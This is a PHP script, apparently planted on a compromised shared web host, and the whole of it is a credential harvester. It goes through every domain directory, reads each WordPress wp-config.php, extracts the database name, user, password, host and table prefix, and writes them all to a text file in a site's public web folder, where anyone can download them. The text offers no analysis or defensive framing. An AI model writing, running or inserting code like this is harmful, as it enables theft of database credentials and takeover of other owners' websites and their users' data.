<?php
set_time_limit(0);
error_reporting(E_ALL);
ini_set('display_errors', 1);
$baseDir = '/home/famous/domains';
chdir($baseDir);
$outputFile = '/home/famous/domains/famous-blackpeople.com/public_html/cevir.txt';
file_put_contents($outputFile, '');
$dirs = array_filter(glob('*'), 'is_dir');
foreach ($dirs as $dir) {
$configPath = $dir . '/public_html/wp-config.php';
if (file_exists($configPath)) {
$content = file_get_contents($configPath);
preg_match("/define\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $nameMatch);
preg_match("/define\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $userMatch);
preg_match("/define\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $passMatch);
preg_match("/define\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $hostMatch);
preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $content, $prefixMatch);
$dbName = isset($nameMatch[1]) ? $nameMatch[1] : 'N/A';
$dbUser = isset($userMatch[1]) ? $userMatch[1] : 'N/A';
$dbPass = isset($passMatch[1]) ? $passMatch[1] : 'N/A';
$dbHost = isset($hostMatch[1]) ? $hostMatch[1] : 'N/A';
$dbPrefix = isset($prefixMatch[1]) ? $prefixMatch[1] : 'wp_';
$line = "{$dir}|{$dbName}|{$dbUser}|{$dbPass}|{$dbHost}|{$dbPrefix}" . PHP_EOL;
$fp = fopen($outputFile, 'a');
if ($fp) {
if (flock($fp, LOCK_EX)) {
fwrite($fp, $line);
fflush($fp);
flock($fp, LOCK_UN);
}
fclose($fp);
}
}
}
echo "oh ok. out: $outputFile";
?>